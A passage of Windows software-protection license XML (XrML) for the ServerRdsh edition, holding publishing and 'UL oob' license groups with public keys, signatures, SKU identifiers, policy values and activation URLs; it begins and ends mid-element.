xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>v0JgOuEWuaA3INoAK10wY7PLaEhyfjfL5A2joNwBR/3ziJxewXKy5QDzZvD3C9eVdvlSqFCDpZEDUxVWvFFeYKI5YkTeK5x7X4nQPodwZAoTJklTUWpfZNslLYJVMaxRvs8htxKoIbvmssqN4Dhy3Oa7HT80GcOvS95M7UCvXcQ7TjrQUV9QNb0w6WLdMVpuktek1CVi4XQ3ELIHZJhyKAtWNGRN4kxZL9nYyDvZ8be5rlGTuhEsgi1oFqnjzMLYXU4wkF/W8mRedIkvoBu3kCjuwEqsr9P5sIbHowqFX5sRxmTrgwoCXPCtFyXCwu9hO75mvb1I1sCuv8W0gTfMtw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><r:issue/><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ServerRdsh"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ServerRdsh</sl:policyStr></sl:productPolicies><sl:proxyExecutionKey xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"></sl:proxyExecutionKey><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAAFAAAA</sl:data></sl:externalValidator></r:allConditions><mx:renderer><sl:binding varRef="binding"/><sl:productId varRef="productId"/></mx:renderer></r:allConditions></r:grant><r:allConditions><sl:businessRules xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"></sl:businessRules></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>V9MmjqYgXXIpMnaTTwgT17vI0FE=</DigestValue></Reference></SignedInfo><SignatureValue>iPgOY7BO6K/JBU9xWdZ+7sXhY5WxJAJR5rgjMmf0GJV3S25WPb+WvvFmqRnPzXID13JT6tKl+hcKVeBDCPbGqd5faZTBL/m6K4kKT4W2wBOMY7ItGjYRewGSZWfyMEPPAxBbWDxn4+y0ayBK6jMmxal0uWTsiuPiNWUfamPrunsUEL8tphbf+RgSatcFoyggHoKrVSpmOHp6SoxrvmM8DqjzYULXwyza01zszT/Otx8VxXzgTfKHXOwLCva3lxcBZ3sVY7D/SPkGCp9gwQCyVSTX7ZXvWceMihlY2L9PUFlXjK6NdEiChO6wN7p67QyI7HjrlxlIBi3fdEg1Lmv3zw==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/PL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/PL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="productSkuId">{df96023b-dcd9-4be2-afa0-c6c871159ebe}</tm:infoStr><tm:infoStr name="privateCertificateId">{ef7a49f8-7d74-455d-8b82-49ca97d417e1}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="productName">Windows(R), ServerRdsh edition</tm:infoStr><tm:infoStr name="Family">ServerRdsh</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System</tm:infoStr><tm:infoStr name="clientIssuanceCertificateId">{4961cc30-d690-43be-910c-8e2db01fc5ad}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{ef7a49f8-7d74-455d-8b82-49ca97d417e1}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) Publishing License (Private)</r:title><r:grant><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>v0JgOuEWuaA3INoAK10wY7PLaEhyfjfL5A2joNwBR/3ziJxewXKy5QDzZvD3C9eVdvlSqFCDpZEDUxVWvFFeYKI5YkTeK5x7X4nQPodwZAoTJklTUWpfZNslLYJVMaxRvs8htxKoIbvmssqN4Dhy3Oa7HT80GcOvS95M7UCvXcQ7TjrQUV9QNb0w6WLdMVpuktek1CVi4XQ3ELIHZJhyKAtWNGRN4kxZL9nYyDvZ8be5rlGTuhEsgi1oFqnjzMLYXU4wkF/W8mRedIkvoBu3kCjuwEqsr9P5sIbHowqFX5sRxmTrgwoCXPCtFyXCwu9hO75mvb1I1sCuv8W0gTfMtw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><r:issue/><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="appid"></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:prerequisiteRight><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><r:right varRef="anyRight"/><sl:appId varRef="appid"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>v0JgOuEWuaA3INoAK10wY7PLaEhyfjfL5A2joNwBR/3ziJxewXKy5QDzZvD3C9eVdvlSqFCDpZEDUxVWvFFeYKI5YkTeK5x7X4nQPodwZAoTJklTUWpfZNslLYJVMaxRvs8htxKoIbvmssqN4Dhy3Oa7HT80GcOvS95M7UCvXcQ7TjrQUV9QNb0w6WLdMVpuktek1CVi4XQ3ELIHZJhyKAtWNGRN4kxZL9nYyDvZ8be5rlGTuhEsgi1oFqnjzMLYXU4wkF/W8mRedIkvoBu3kCjuwEqsr9P5sIbHowqFX5sRxmTrgwoCXPCtFyXCwu9hO75mvb1I1sCuv8W0gTfMtw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight></r:grant></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>64t7BHr+tzNa8TotisS1HsJKte4=</DigestValue></Reference></SignedInfo><SignatureValue>E31YoH+on9cKwVYqNa1A/Ba5/6p4+84EZoZITDu5lu7EvmE7Uny2d5Ly0QxUM95+/XD3MieDH4rlXUjX3OMQOHPv0yZukSyflfk0yq/0o2d03ZupXVX/XLHmcqtnHe47JJDtrrcrRjmpg6fwufihAEJ3NcCmQcCNxv9HkmLFaVwUjBS49vIfS5oFdxQbrSn7fNy/1vpRdnetsfi+LMcflhQvOL3Pe6uvSNsyES33U5mw/IhQrMNNQYv+8S1OgCvSs2L6L7VKKw3OcGHO0c80r25WUENHY9lEZRb/DujOr3Q4ypHG5sGyjY3zcGAMnjVoNAL8bb17XoCWXxs/uA5lhg==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/PL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/PL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="publicCertificateId">{061d7bf1-4904-491d-a960-371a314349d7}</tm:infoStr><tm:infoStr name="clientIssuanceCertificateId">{4961cc30-d690-43be-910c-8e2db01fc5ad}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="win:branding">175</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{0d022270-2a19-4938-a04b-db2fc930df15}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL oob License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ServerRdsh"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ServerRdsh</sl:policyStr><sl:policyStr name="Security-SPP-Reserved-GraceTimerUniqueness" attributes="override-only">EditionId</sl:policyStr><sl:policyStr name="Security-SPP-Reserved-ValidityTimerUniqueness" attributes="override-only">EditionId</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{df96023b-dcd9-4be2-afa0-c6c871159ebe}"></sl:productIdRange></r:allConditions></r:grant><r:grant><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId><sl:guid>{55c92734-d682-4d71-983e-d6ec3f16059f}</sl:guid></sl:appId><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>501</sl:priority><sl:policyInt name="Security-SPP-Reserved-NotificationGrantConsumed" attributes="override-only">1</sl:policyInt></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{df96023b-dcd9-4be2-afa0-c6c871159ebe}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAADAAAA</sl:data></sl:externalValidator><sl:floatingPeriod xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:duration>P0D</sl:duration><sl:type>msft:sl/grace-period</sl:type></sl:floatingPeriod></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>vwvkebo2jHLTT8xjmofCTg1TG3I=</DigestValue></Reference></SignedInfo><SignatureValue>PhmPcbNgUqZyID4hI8wjhrTDtQZ52viZmDFtb/o8FaRzCrN2K/SjoOk8bkOZnFItS3pcQLawz6l34FeG+F4qR/qn1k6BAe/lgjDqrDy0VZgMsc1GVE86o0/DQHlm+im/UXirB27T1lkIYXEHu2P5TwYq3W9EhuQdcBWRPHuJ+ygTdTc/XVBNaQCwYjP6mC1z0kdMw3eBs+hw81wdP9F2OSpaAect03AwPzPZQw87qEu6WoAExTAMI4gpBKaj1AemqaejXt68VcMyg6G9fnJ1QOzDnYZJ/RDMWnydYL7JkW/LoOO66einyLRxeWxhtsImg76EocR6GcmRN5/MkHG+kA==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{df96023b-dcd9-4be2-afa0-c6c871159ebe}</tm:infoStr><tm:infoStr name="privateCertificateId">{790ad3a6-d126-4162-a243-d1c9088e6e6f}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{06a4dd30-84b7-4fd2-b859-f1eddb0858f5}</tm:infoStr><tm:infoStr name="productName">Windows(R), ServerRdsh edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, RETAIL channel</tm:infoStr><tm:infoStr name="PAUrl">https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail</tm:infoStr><tm:infoStr name="ActivationSequence">msft:spp/licenseacquisition/payloadhandler/pa/1.0</tm:infoStr><tm:infoStr name="ValidationTemplateId">{99d92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="ValUrl">https://validation-v2.sls.microsoft.com/SLWGA/slwga.asmx</tm:infoStr><tm:infoStr name="UXDifferentiator">RETAIL</tm:infoStr><tm:infoStr name="Family">ServerRdsh</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="EnableNotificationMode">1</tm:infoStr><tm:infoStr name="GraceTimerUniqueness">EditionId</tm:infoStr><tm:infoStr name="ValidityTimerUniqueness">EditionId</tm:infoStr><tm:infoStr name="EnableActivationValidation">1</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{790ad3a6-d126-4162-a243-d1c9088e6e6f}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL oob License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>aCO+jzQ2NyizF0hDD+WjzWUeaiY=</DigestValue></Reference></SignedInfo><SignatureValue>jkkM+QdGMXsp3jFvw2jx+CNeQ3AwPfehIfK20c2G6WyT1hCs1pC55xwRYLtfm5SKVP+Edc2oHtY3F0+LTsBI9ff8Ro07cnpn3uXl+QuzMxdMbyAE6CGg/JRnYwYuh9Y3+CV49BlT/bQ1z/RbsUryEn0JUk8qI2MdB8+R83qU5G6x4kKB/2QmEz1zn/kAhPv2cWPF1yo2vQg2r7pRAQJNx/D/i6UC1JvWf1bzhsZc48Vr/78lHlxlq6HF1Czxqm7rUC2fgbsMdG9fPh/HuKqCzF4c1Pdlz0sTEqAQjLnaXxCvXXnZY2kRDdEAoWYl7d9mMMAh75eQvJAYbDyR2pJJdQ==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{0d022270-2a19-4938-a04b-db2fc930df15}</tm:infoStr><tm:infoStr name="productSkuId">{df96023b-dcd9-4be2-afa0-c6c871159ebe}</tm:infoStr><tm:infoStr name="win:branding">175</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{c7ebaaa5-9c17-47f7-9003-ed59bcedae90}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL phone License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ServerRdsh"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue 